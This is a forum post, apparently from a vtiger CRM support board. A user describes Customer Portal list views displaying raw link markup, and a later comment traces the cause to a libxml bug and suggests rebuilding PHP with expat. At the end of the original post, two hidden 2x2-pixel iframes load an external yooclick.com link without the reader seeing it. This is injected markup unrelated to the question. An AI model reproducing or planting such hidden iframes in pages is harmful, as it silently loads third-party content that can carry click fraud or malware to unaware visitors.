I have installed vtiger 5.1 RC with Customer Portal 5.1 RC. When logged into Customer Portal, and viewing Tickets tab, the list view shows the links of Subject and Related To fields verbosely on screen because <, >, and quotes are missing in source. The same thing happens on Contacts with Last Name and First Name. I've spent about 10 hours looking for the bug on bug trac and trying to track down the bug myself.
I have a feeling that it has to do with the nusoap engine, or possibly the striptags_checkstrings function. It seems that all of the encodings are correct - UTF-8.
This might be related to the bug ticket
#6240 that you can find here:
<!-- m --><a class="postlink" href="
http://trac.vtiger.com/cgi-bin/trac.cgi/ticket/6240">http://trac.vtiger.com/cgi-bin/trac.cgi/ticket/6240</a><!-- m -->
I have attached two screenshots.
My PHP version is 5.2.8 and my OS is Linux Core 7 Server
I have installed the 5 optional modules.
Any help here would be greatly appreciated. Outside of this, I have not found any major issues. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
Comments
i'll keep trying to figure this out.
i found the solution. there is a bug with libxml that gets really nasty with higher levels of php 5.x. it seems to be more of a problem with linux os. here are the link that explains this:
<!-- m --><a class="postlink" href="http://bugs.php.net/bug.php?id=45996">http://bugs.php.net/bug.php?id=45996</a><!-- m -->
you either have to downgrade your libxml or recompile apache/php with expat (libexpat). i'm using cpanel, so in that case you use "easyapache" to rebuld. expat is under the "exhaustive list". imho, it seems expat is the easier route, but then i'm no expert!
what a pain - but i'm glad i figured it out! and i learned a ton about how vtiger works in the process which i never would have had i not had this problem. gotta look on the bright side of things, eh?